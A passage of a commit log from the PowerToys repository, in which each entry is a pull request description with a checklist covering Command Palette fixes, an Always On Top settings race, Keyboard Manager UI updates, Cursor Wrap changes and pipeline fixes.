src="https://github.com/user-attachments/assets/2dc26863-88c0-4c47-8798-023611d571b5"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45973
2026-03-09 06:15:23 -05:00
Jiří Polášek
e323da939b CmdPal: Don't be smart and stop passing a string file path with a file drop (#45951)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR removes the text data format from the data package attached to
list items for files, keeping only the file drop-related formats.

MS Teams doesn't handle having both formats simultaneously well. :/

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45950
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 05:48:49 -05:00
Kai Tao
75fb296bb2 Fix: Fix a issue that change always on top settings won't take effect immediately (#45994)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fix #45993

Always on top have a window proc thread that will reload the settings
once file watcher trigger a reload of settings.
And always on top has a worker thread to read the settings at the same
time.
So it may happen worker thread will read the stale setting, as a result,
user change settings, and try to invoke always on top, as if nothing has
changed.
As the issue's recording shows.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [X] Closes: #45993
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

The setting take effect once it's changed:


https://github.com/user-attachments/assets/70d753e9-eca1-4040-9abf-4cfa4e8dacec
2026-03-09 11:25:40 +08:00
Kai Tao
3d69785ca4 Cmdpal Powertoys Extension: Support mouse without borders easy mouse … (#45350)
## Description

You don't have to go to powertoys settings to 
* toggle the mouse move from machine to another
* you can trigger reconnect when connection lost from cmdpal
* You can toggle whether kbm is turning on or not from cmdpal

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add several missing cmd to powretoys cmdpal extension


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed


https://github.com/user-attachments/assets/9ea019f7-988b-4542-afc5-a80f0fc99ef8

For the kbm toggle, when it's off, kbm will not map anything, if it's
on, kbm will take effect

For the mouse without borders, add these two functionality as command
<img width="1182" height="158" alt="image"
src="https://github.com/user-attachments/assets/27f526b1-9c91-4923-be6c-e505673f5892"
/>

And verified for the two command, works as expected
2026-03-09 10:25:11 +08:00
Kai Tao
f6b0996c9b Chrore: Fix MouseUtils folder structure within slnx view (#45990)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In current main:
<img width="260" height="216" alt="image"
src="https://github.com/user-attachments/assets/4c710e4d-b6b9-4dc0-8b19-99fc0ca6366f"
/>
The mouse utils projects are put inside the keyboard manager.

So change it back to:
<img width="256" height="367" alt="image"
src="https://github.com/user-attachments/assets/342ea9e9-34ca-462d-a4e6-f4cead1e27b0"
/>

introduced in #45649

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-08 17:09:53 +01:00
Kai Tao
748d5e485c Chore: Remove new info badge from system (#45992)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
We don't have new module in release 98, so remove the new info badge


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
### Current:
<img width="300" height="82" alt="image"
src="https://github.com/user-attachments/assets/31a161e8-b451-4e4b-b111-7a538cefe0f3"
/>

### After fix:
<img width="323" height="167" alt="image"
src="https://github.com/user-attachments/assets/d1ca3c5c-6777-4f69-9760-abc43790bd48"
/>
2026-03-08 17:09:24 +08:00
Kai Tao
1718cecedb Pipeline: Fix the sign fail in release pipeline due to file not found issue (#45971)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Release pipeline failed at main, here is the issue:
<img width="674" height="52" alt="image"
src="https://github.com/user-attachments/assets/303fa3f2-5207-4509-b27c-9e404986f6f0"
/>

Here is the actual location, within winui3 folder
<img width="508" height="58" alt="image"
src="https://github.com/user-attachments/assets/931e363f-ad7e-4b7a-aca2-7b3e23f5cc72"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-08 08:56:23 +08:00
Jiří Polášek
4f0c8f476a CmdPal: Add new colorful icons for Bookmarks and Performance Monitor (#45979)
## Summary of the Pull Request

This PR replaces fluent outline icons used for Bookmarks extension and
Performance Monitor extension to put them in line with other extensions:

## Pictures? Pictures:

| | Old | New |
|-----------------|----------------------|--------------------------|
| Bookmarks | <img width="244" height="84" alt="image"
src="https://github.com/user-attachments/assets/3fb26dd0-1b6b-4b48-b08b-af6ff2bf648d"
/> | <img width="221" height="81" alt="image"
src="https://github.com/user-attachments/assets/4f01eb93-1188-48aa-883f-c02e206bd2d1"
/> |
| Perf Mon | <img width="225" height="68" alt="image"
src="https://github.com/user-attachments/assets/fd917461-0e42-474a-ae67-4d1cf433dfa9"
/> | <img width="218" height="89" alt="image"
src="https://github.com/user-attachments/assets/ba143d4b-f9b3-45aa-9948-d4ebb22abb29"
/> |



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-07 19:21:39 +00:00
Kai Tao
a953a39aec Chore: PowerToys extension development dev guide, and clean an unused msix declaration (#45967)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
PowerToys extension development dev guide, and clean an unused msix
declaration

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-07 19:08:53 +08:00
Niels Laute
8c4ff37a50 [CmdPal] Visual dock tweaks (#45954)
## Summary of the Pull Request

- Changes the Dock height to 38px (from 32) to avoid item and app
clipping.
- Localization
- Removing dead code
- If the tooltip string is null or empty, the tooltip will not be shown
- Adding hyperlinks on the General and Dock pages in Settings (to be
updated to the corresponding docs via aka.ms)
- The droptarget for an empty listview is now wider, and has a
highlight-color to communicate an item can be dropped:
<img width="371" height="142" alt="image"
src="https://github.com/user-attachments/assets/6863ca5a-cdd4-450b-ab57-d03d83170cf8"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-06 21:27:23 +00:00
Jiří Polášek
02062dd023 CmdPal: Replace MainListPage icon with unplated CmdPal icon to make it bigger (#45958)
## Summary of the Pull Request

This PR updates MainListPage icon of CmdPal bolt with an unplated
version to make it bigger.
Icon in the search bar is unaffected by this change, the top-level icon
is hard coded in the shell page.

<img width="144" height="164" alt="image"
src="https://github.com/user-attachments/assets/840de3c8-675f-4b62-a76b-5fbe0d98575f"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45956
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-06 20:54:33 +00:00
Jiří Polášek
bcbca0d5dd CmdPal: Refactor PerformanceMonitor extension GPU stats to use batch counter reads (#45835)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR reduces overall CPU usage caused by GPU statistics in
Performance Monitor extension.

Replaces per-instance PerformanceCounter objects with batch reads via
PerformanceCounterCategory.ReadCategory, reducing kernel transitions and
improving efficiency.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45823
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-05 15:34:52 -05:00
Jiří Polášek
f0134e4448 CmdPal: Add adaptive parallel fallback processing and consistent updates (#42273)
## Summary of the Pull Request

This PR replaces sequential fallback processing with an adaptive
parallel dispatch model and isolates fallback work onto a dedicated
thread pool, preventing misbehaving extensions from starving the .NET
ThreadPool on blocked synchronous COM RPC call.

The other major change is allowing MainListPage to allow take control
over the debounce of search updates directly, reducing latency and
improving smoothness of the search.

- Adds `DedicatedThreadPool` — an elastic pool of background threads
(min 2, max 32) that expand on demand when all threads are blocked in
COM calls and shrink after 30s idle.
- Extracts all fallback dispatch machinery (adaptive workers,
per-command inflight tracking, pending-retry slots) from MainListPage
into a standalone FallbackUpdateManager.
- Prevents one fallback from monopolizing all threads by capping
concurrent in-flight calls per fallback to 4.
- Starts with low degree of parallelism (2) and gently scales up to half
of CPU cores per batch. If a fallback takes more than 200ms, another
worker is spawned so remaining commands aren't blocked.
- Adds `ThrottledDebouncedAction` to coalesce rapid `RaiseItemsChanged`
calls from fallback completions and user input (100ms for external
events, 50ms adjusted for keystrokes), replacing unbatched direct calls.
- Bypasses the UI-layer debounce timer for the main list page since it
now handles its own throttling, eliminating double-debounce latency.
- Introduces diagnostics for fallbacks and timing hidden behind feature
flags.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #42286
- [x] Related to: #44407
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-05 15:34:24 -05:00
Zach Teutsch
f651d1a611 [Keyboard Manager] Updated WinUI3 KBM and toggles (#45649)
## Running the Project
**Option 1: Test via runner**
1. Check out branch `niels9001/kbm-ux-consolidation`
2. Build PowerToys project
3. Manually build `Modules/KeyboardManagerEditorUI` project separately
4. Run `runner` project
5. Ensure experimental features are enabled in general settings (should
be on by default)
6. Launch keyboard manager via settings app

**Option 2: Test via installer**
1. Install PowerToys via installer on azure pipeline
1. Launch keyboard manager

## Validation
For each page (Text, Remappings, Programs, URLs):
* Create shortcuts with variable options and ensure they run as expected
* Delete shortcuts and ensure they no longer execute
* Try to create invalid shortcuts to check for proper validation
* Ensure created shortcuts appear in Power Toys Settings Keyboard
manager page
* Try toggling shortcuts
* Try deleting shortcuts while toggled off

### UI
* Any feedback on UI design appreciated as well
<img width="1071" height="671" alt="image"
src="https://github.com/user-attachments/assets/d2e81de0-6d92-4189-9a33-32e94cce74f7"
/>
<img width="2142" height="1341" alt="image"
src="https://github.com/user-attachments/assets/0e4e5685-fdf1-4dfd-ba52-a2e5bc9a66db"
/>



Closes: #15870
Closes: #31902
Closes: #45302
Closes: #36227
Closes: #16093
Closes: #13409
Closes: #9919
Closes:  #9482
Closes: #8798
Closes:  #7054
Closes: #2733
Closes: #2027
Closes: #30167

---------

Co-authored-by: Hao Liu <liuhao3418@gmail.com>
Co-authored-by: chenmy77 <162882040+chenmy77@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Jay <65828559+Jay-o-Way@users.noreply.github.com>
Co-authored-by: Jaylyn Barbee <51131738+Jaylyn-Barbee@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <duhowett@microsoft.com>
2026-03-04 15:46:42 -05:00
Jiří Polášek
d20ae940d5 CmdPal: Replace FiltersDropDown ComboBox with searchable dropdown (#45747)
## Summary of the Pull Request

Replaces the ComboBox-based filter control with a DropDownButton and
Flyout containing a searchable TextBox and ListView.

- Add type-to-search: typing while button is focused opens the flyout
and filters items by name
- Designed to match appearance of the context menu
- Add keyboard navigation: `Up`/`Down `moves selection from search box,
`Enter` confirms, `Escape` clears search text (or closes if empty), `F4`
opens the dropdown
- Add `Alt+F` shortcut on ShellPage to toggle filter focus
- Style flyout to match ContextMenu (item padding, separators, search
box appearance)
- Show "No results" empty state when search matches nothing
- After confirming selection, return focus to the main search box
- Add accessibility
- Update `FilterTemplateSelector` to support both ComboBoxItem and
ListViewItem containers
- Guard against infinite loop in navigation when only separators exist

## Pictures? Moving!



https://github.com/user-attachments/assets/60e232ae-8cee-4759-a9a7-d7edbf78719e

<img width="315" height="212" alt="image"
src="https://github.com/user-attachments/assets/b6e1a895-064c-47e1-9184-26dbb46fdf05"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #41648
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-04 13:05:22 -06:00
Niels Laute
86860df314 [Cursor Wrap] Update edge wrap model, update simulator, add cursor logging, add settings support to ModuleLoader (#45915)
This PR adds new options for disabling wrap, updates the wrapping model,
extends the simulator and cursor logging.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45116 
- [ ] Closes: #44955 
- [ ] Closes: #44827 
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

The PR adds a new option for disabling cursor wrapping, exposing three
options: None - wrapping is not disabled, Ctrl key - if this is pressed
then wrapping is disabled, Shift key - if this is pressed then wrapping
is disabled, this would enable a user to temporarily disable wrapping if
they wanted to get close to a monitor edge without wrapping (auto-hide
status bar for example).

The cursor wrap edge model has been updated to mirror Windows
monitor-to-monitor cursor movement, this should ensure there aren't any
non-wrappable edges.

A new test tool has been added 'CursorLog' this is a monitor aware,
dpi/scaling aware Win32 application that captures mouse movement across
monitors to a log file, the log contains one line per mouse movement
which includes: Monitor, x, y, scale, dpi.

The wrapping simulator has been updated to include the new wrapping
model and support mouse cursor log playback.

## Validation Steps Performed
The updated CursorWrap has been tested on a single monitor (laptop) and
multi-monitor desktop PC with monitors being offset to test
edge/wrapping behavior.

---------

Co-authored-by: Mike Hall <mikehall@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: vanzue <vanzue@outlook.com>
2026-03-04 13:56:32 +00:00
Kai Tao
d28f312b81 Copilot Skills: Release note generation skill should also quote co-authors (#45819)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Release note generation skill add support for quoting co-authors

<!-- Please review the items on the PR checklist before submitting-->
